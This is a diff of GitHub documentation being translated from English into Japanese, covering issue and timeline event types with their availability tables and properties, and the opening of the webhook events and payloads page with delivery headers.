-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## deployment_environment_changed
 
-The pull request deployment environment was changed.
+プルリクエストのデプロイメント環境が変更された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** |  |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |                |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## disconnected
 
-The issue or pull request was unlinked from another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)".
+Issue またはプルリクエストが、別の Issue またはプルリクエストからリンク解除された。 詳しい情報については「[プルリクエストを Issue にリンクする](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)」を参照してください。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## head_ref_deleted
 
-The pull request's `HEAD` branch was deleted.
+プルリクエストの `HEAD` ブランチが削除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## head_ref_restored
 
-The pull request's `HEAD` branch was restored to the last known commit.
+プルリクエストの `HEAD` ブランチが最後の既知のコミットに復元された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## labeled
 
-A label was added to the issue or pull request.
+Issue またはプルリクエストにラベルが追加された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.label-properties %}
 
 ## locked
 
-The issue or pull request was locked.
+Issue またはプルリクエストがロックされた。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided.
+`lock_reason` | `string` | Issue またはプルリクエストの会話がロックされた理由（提供されている場合）。
 
-## mentioned
+## メンション
 
-The `actor` was `@mentioned` in an issue or pull request body.
+`actor` が Issue またはプルリクエストの本文で `@mentioned` された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## marked_as_duplicate
 
-A user with write permissions marked an issue as a duplicate of another issue, or a pull request as a duplicate of another pull request.
+書き込み権限を持つユーザが、Issue を別の Issue の複製としてマークしたか、プルリクエストを別のプルリクエストの複製としてマークした。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## merged
 
-The pull request was merged. The `commit_id` attribute is the SHA1 of the `HEAD` commit that was merged. The `commit_repository` is always the same as the main repository.
+プルリクエストがマージされた。 `commit_id` 属性は、マージされた `HEAD` コミットのSHA1 です。 `commit_repository` は、常にメインリポジトリと同じです。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## milestoned
 
-The issue or pull request was added to a milestone.
+Issue またはプルリクエストがマイルストーンに追加された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`milestone` | `object` | The milestone object.
-`milestone[title]` | `string` | The title of the milestone.
+`milestone` | `object` | マイルストーンオブジェクト。 `milestone[title]` | `string` | マイルストーンのタイトル。
 
 ## moved_columns_in_project
 
-The issue or pull request was moved between columns in a project board. {% data reusables.projects.disabled-projects %}
+Issue またはプルリクエストがプロジェクトボードの列間で移動された。 {% data reusables.projects.disabled-projects %}
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.project-card-properties %}
-`previous_column_name` | `string` | The name of the column the issue was moved from.
+`previous_column_name` | `string` | Issue の移動元の列の名前。
 
-## pinned
+## ピン止め済み
 
-The issue was pinned.
+Issue がピン留めされた。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
@@ -449,41 +448,41 @@ The issue was pinned.
 
 A draft pull request was marked as ready for review.
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## referenced
 
-The issue was referenced from a commit message. The `commit_id` attribute is the commit SHA1 of where that happened and the commit_repository is where that commit was pushed.
+Issue がコミットメッセージから参照された。 `commit_id` 属性は、発生した場所のコミット SHA1 であり、commit_repository は、そのコミットがプッシュされた場所です。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## removed_from_project
 
-The issue or pull request was removed from a project board. {% data reusables.projects.disabled-projects %}
+Issue またはプルリクエストがプロジェクトボードから削除された。 {% data reusables.projects.disabled-projects %}
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.pre-release-program.starfox-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
@@ -493,236 +492,234 @@ The issue or pull request was removed from a project board. {% data reusables.pr
 
 ## renamed
 
-The issue or pull request title was changed.
+Issue またはプルリクエストのタイトルが変更された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`rename` | `object` | The name details.
-`rename[from]` | `string` | The previous name.
-`rename[to]` | `string` | The new name.
+`rename` | `object` | 名前の詳細。 `rename[from]` | `string` | 以前の名前。 `rename[to]` | `string` | 新しい名前。
 
 ## reopened
 
-The issue or pull request was reopened.
+Issue またはプルリクエストが再開された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## review_dismissed
 
-The pull request review was dismissed.
+プルリクエストのレビューが却下された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.review-dismissed-properties %}
 
 ## review_requested
 
-A pull request review was requested.
+プルリクエストのレビューがリクエストされた。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.review-request-properties %}
 
 ## review_request_removed
 
-A pull request review request was removed.
+プルリクエストのレビューリクエストが削除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.review-request-properties %}
 
 ## reviewed
 
-The pull request was reviewed.
+プルリクエストがレビューされた。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Pull requests</li></ul> |  | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>プルリクエスト</li></ul> |                |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.timeline_events_object_properties %}
 
-Name | Type | Description
------|------|--------------
-`id` | `integer` | The unique identifier of the event.
-`node_id` | `string` | The [Global Node ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids) of the event.
-`user` | `object` | The person who commented on the issue.
-`body` | `string` | The review summary text.
-`commit_id` | `string` | The SHA of the latest commit in the pull request at the time of the review.
-`submitted_at` | `string` | The timestamp indicating when the review was submitted.
-`state` | `string` | The state of the submitted review. Can be one of: `commented`, `changes_requested`, or `approved`.
-`html_url` | `string` | The HTML URL of the review.
-`pull_request_url` | `string` | The REST API URL to retrieve the pull request.
-`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment.
-`_links` | `object` | The `html_url` and `pull_request_url`.
-`event` | `string` | The event value is `"reviewed"`.
+| 名前                   | 種類        | 説明                                                                                                             |
+| -------------------- | --------- | -------------------------------------------------------------------------------------------------------------- |
+| `id`                 | `integer` | イベントの一意の識別子。                                                                                                   |
+| `node_id`            | `string`  | イベントの[グローバルノード ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)。 |
+| `ユーザ`                | `オブジェクト`  | この Issue についてコメントしたユーザ。                                                                                        |
+| `body`               | `string`  | レビューの概要テキスト。                                                                                                   |
+| `commit_id`          | `string`  | レビュー時のプルリクエストの最新コミットの SHA。                                                                                     |
+| `submitted_at`       | `string`  | レビューの送信日時を示すタイムスタンプ。                                                                                           |
+| `state`              | `string`  | サブミットされたレビューの状態。 `commented`、`changes_requested`、`approved` のいずれかになります。                                        |
+| `html_url`           | `string`  | レビューの HTML URL。                                                                                                |
+| `pull_request_url`   | `string`  | プルリクエストを取得する REST API URL。                                                                                     |
+| `author_association` | `string`  | Issue のリポジトリでユーザが保持している権限。 たとえば、リポジトリの所有者がコメントを作成した場合、値は「`OWNER`」になります。                                        |
+| `_links`             | `オブジェクト`  | `html_url` および `pull_request_url`。                                                                             |
+| `event`              | `string`  | イベントの値は `"reviewed"` です。                                                                                       |
 
 ## subscribed
 
-Someone subscribed to receive notifications for an issue or pull request.
+誰かが Issue またはプルリクエストの通知を受信するようにサブスクライブした。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## transferred
 
-The issue was transferred to another repository.
+Issue が別のリポジトリに転送された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## unassigned
 
-A user was unassigned from the issue.
+ユーザが Issue から割り当て解除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.assignee-properties %}
 
 ## unlabeled
 
-A label was removed from the issue.
+Issue からラベルが削除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 {% data reusables.issue-events.label-properties %}
 
 ## unlocked
 
-The issue was unlocked.
+Issue がロック解除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
-`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided.
+`lock_reason` | `string` | Issue またはプルリクエストの会話がロックされた理由（提供されている場合）。
 
 ## unmarked_as_duplicate
 
-An issue that a user had previously marked as a duplicate of another issue is no longer considered a duplicate, or a pull request that a user had previously marked as a duplicate of another pull request is no longer considered a duplicate.
+ユーザが以前に別の Issue の複製としてマークした Issue が重複と見なされなくなった。または、ユーザが以前に別のプルリクエストの複製としてマークしたプルリクエストが重複と見なされなくなった。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 ## unpinned
 
-The issue was unpinned.
+Issue がピン留め解除された。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
-## unsubscribed
+## サブスクライブ解除
 
-Someone unsubscribed from receiving notifications for an issue or pull request.
+誰かが Issue またはプルリクエストの通知を受信しないようにサブスクライブ解除した。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> |  | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |                |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
 {% ifversion fpt or ghec %}
 ## user_blocked
 
-An organization owner blocked a user from the organization. This was done [through one of the blocked user's comments on the issue](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment).
+Organization のオーナーがユーザを Organization からブロックした。 これは、[Issue に関するブロックされたユーザのコメントの 1 つを介して](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment)行われました。
 
-### Availability
+### 利用の可否
 
-|Issue type | Issue events API | Timeline events API|
-|:----------|:----------------:|:-----------------:|
-| <ul><li>Issues</li><li>Pull requests</li></ul> | **X** | **X** |
+| Issue タイプ                  | Issue イベント API | タイムラインイベント API |
+|:-------------------------- |:--------------:|:--------------:|
+| <ul><li>Issue</li><li>プルリクエスト</li></ul> |     **X**      |     **X**      |
 
-### Event object properties
+### イベントオブジェクトのプロパティ
 
 {% data reusables.issue-events.issue-event-common-properties %}
 
diff --git a/translations/ja-JP/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/translations/ja-JP/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
index f98ec58b61..9e0ae1ddc2 100644
--- a/translations/ja-JP/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
+++ b/translations/ja-JP/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
@@ -1,6 +1,6 @@
 ---
-title: Webhook events and payloads
-intro: 'For each webhook event, you can review when the event occurs, an example payload, and descriptions about the payload object parameters.'
+title: webhook イベントとペイロード
+intro: webhook イベントごとに、イベントの発生日時、ペイロードの例、およびペイロードオブジェクトパラメータに関する説明を確認できます。
 product: '{% data reusables.gated-features.enterprise_account_webhooks %}'
 redirect_from:
   - /early-access/integrations/webhooks
@@ -14,52 +14,53 @@ versions:
   ghec: '*'
 topics:
   - Webhooks
-shortTitle: Webhook events & payloads
+shortTitle: webhookイベントとペイロード
 ---
+
 {% ifversion fpt or ghec %}
 
 {% endif %}
 
 {% data reusables.webhooks.webhooks_intro %}
 
-You can create webhooks that subscribe to the events listed on this page. Each webhook event includes a description of the webhook properties and an example payload. For more information, see "[Creating webhooks](/webhooks/creating/)."
+このページに表示されているイベントをサブスクライブする webhook を作成できます。 各 webhook イベントには、webhook プロパティの説明とペイロードの例が含まれています。 詳しい情報については「[webhook を作成する](/webhooks/creating/)」を参照してください。
 
-## Webhook payload object common properties
+## webhook ペイロードオブジェクトの共通プロパティ
 
-Each webhook event payload also contains properties unique to the event. You can find the unique properties in the individual event type sections.
+各 webhook イベントペイロードには、イベント固有のプロパティも含まれています。 固有のプロパティは、個々のイベントタイプのセクションにあります。
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | Most webhook payloads contain an `action` property that contains the specific activity that triggered the event.
-{% data reusables.webhooks.sender_desc %} This property is included in every webhook payload.
-{% data reusables.webhooks.repo_desc %} Webhook payloads contain the `repository` property when the event occurs from activity in a repository.
+| キー       | 種類       | 説明                                                                     |
+| -------- | -------- | ---------------------------------------------------------------------- |
+| `action` | `string` | ほとんどの webhook ペイロードには、イベントをトリガーした特定のアクティビティを含む `action` プロパティが含まれています。 |
+{% data reusables.webhooks.sender_desc %} このプロパティは、すべての webhook ペイロードに含まれています。
+{% data reusables.webhooks.repo_desc %} イベントがリポジトリ内のアクティビティから発生した場合、webhook ペイロードには `repository` プロパティが含まれます。
 {% data reusables.webhooks.org_desc %}
-{% data reusables.webhooks.app_desc %} For more information, see "[Building {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)."
+{% data reusables.webhooks.app_desc %} 詳しい情報については、「[{% data variables.product.prodname_github_app %} を構築する](/apps/building-github-apps/)」を参照してください。
 
-The unique properties for a webhook event are the same properties you'll find in the `payload` property when using the [Events API](/rest/reference/activity#events). One exception is the [`push` event](#push). The unique properties of the `push` event webhook payload and the `payload` property in the Events API differ. The webhook payload contains more detailed information.
+webhook イベントの一意のプロパティは、[イベント API](/rest/reference/activity#events) を使用するときに `payload` プロパティにあるプロパティと同じです。 例外の 1 つは、[`push` イベント](#push) です。 `push` イベント webhook ペイロードの一意のプロパティとイベント API の`payload` プロパティは異なります。 webhook ペイロードには、より詳細な情報が含まれています。
 
 {% tip %}
 
-**Note:** Payloads are capped at 25 MB. If your event generates a larger payload, a webhook will not be fired. This may happen, for example, on a `create` event if many branches or tags are pushed at once. We suggest monitoring your payload size to ensure delivery.
+**注釈:** ペイロードの上限は 25 MB です。 イベントにより大きなペイロードが生成された場合、webhook は起動しません。 これは、たとえば多数のブランチまたはタグが一度にプッシュされた場合の `create` イベントで発生する可能性があります。 確実にデリバリが行われるよう、ペイロードサイズを監視することをお勧めします。
 
 {% endtip %}
 
-### Delivery headers
+### デリバリヘッダ
 
-HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers:
+webhook によって設定されている URL エンドポイントに配信される HTTP POST ペイロードには、いくつかの特別なヘッダが含まれています。
 
-Header | Description
--------|-------------|
-`X-GitHub-Event`| Name of the event that triggered the delivery.
-`X-GitHub-Delivery`| A [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) to identify the delivery.{% ifversion ghes or ghae %}
-`X-GitHub-Enterprise-Version` | The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.
-`X-GitHub-Enterprise-Host` | The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %}{% ifversion not ghae %}
-`X-Hub-Signature`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %}
-`X-Hub-Signature-256`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`.
+| ヘッダ                           | 説明                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `X-GitHub-Event`              | デリバリをトリガーしたイベントの名前。                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `X-GitHub-Delivery`           | デリバリを識別するための [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier)。{% ifversion ghes or ghae %}
+| `X-GitHub-Enterprise-Version` | HTTP POST ペイロードを送信した {% data variables.product.prodname_ghe_server %} インスタンスのバージョン。                                                                                                                                                                                                                                                                                                                                                                 |
+| `X-GitHub-Enterprise-Host`    | HTTP POST ペイロードを送信した {% data variables.product.prodname_ghe_server %} インスタンスのホスト名。{% endif %}{% ifversion not ghae %}
+| `X-Hub-Signature`             | このヘッダは、webhook が [`secret`](/rest/reference/repos#create-hook-config-params) で設定されている場合に送信されます。 This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %}
+| `X-Hub-Signature-256`         | このヘッダは、webhook が [`secret`](/rest/reference/repos#create-hook-config-params) で設定されている場合に送信されます。 これはリクエスト本文の HMAC hex digest であり、SHA-256 ハッシュ関数と HMAC `key` としての `secret` を使用して生成されます。                                                                                                                                                                                                                                                                 |
 
-Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
+また、リクエストの `User-Agent` には、プレフィックスに `GitHub-Hookshot/` が付けられます。
 
-### Example delivery
+### デリバリの例
 
 ```shell
 > POST /payload HTTP/2
@@ -103,26 +104,26 @@ Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 ## branch_protection_rule
 
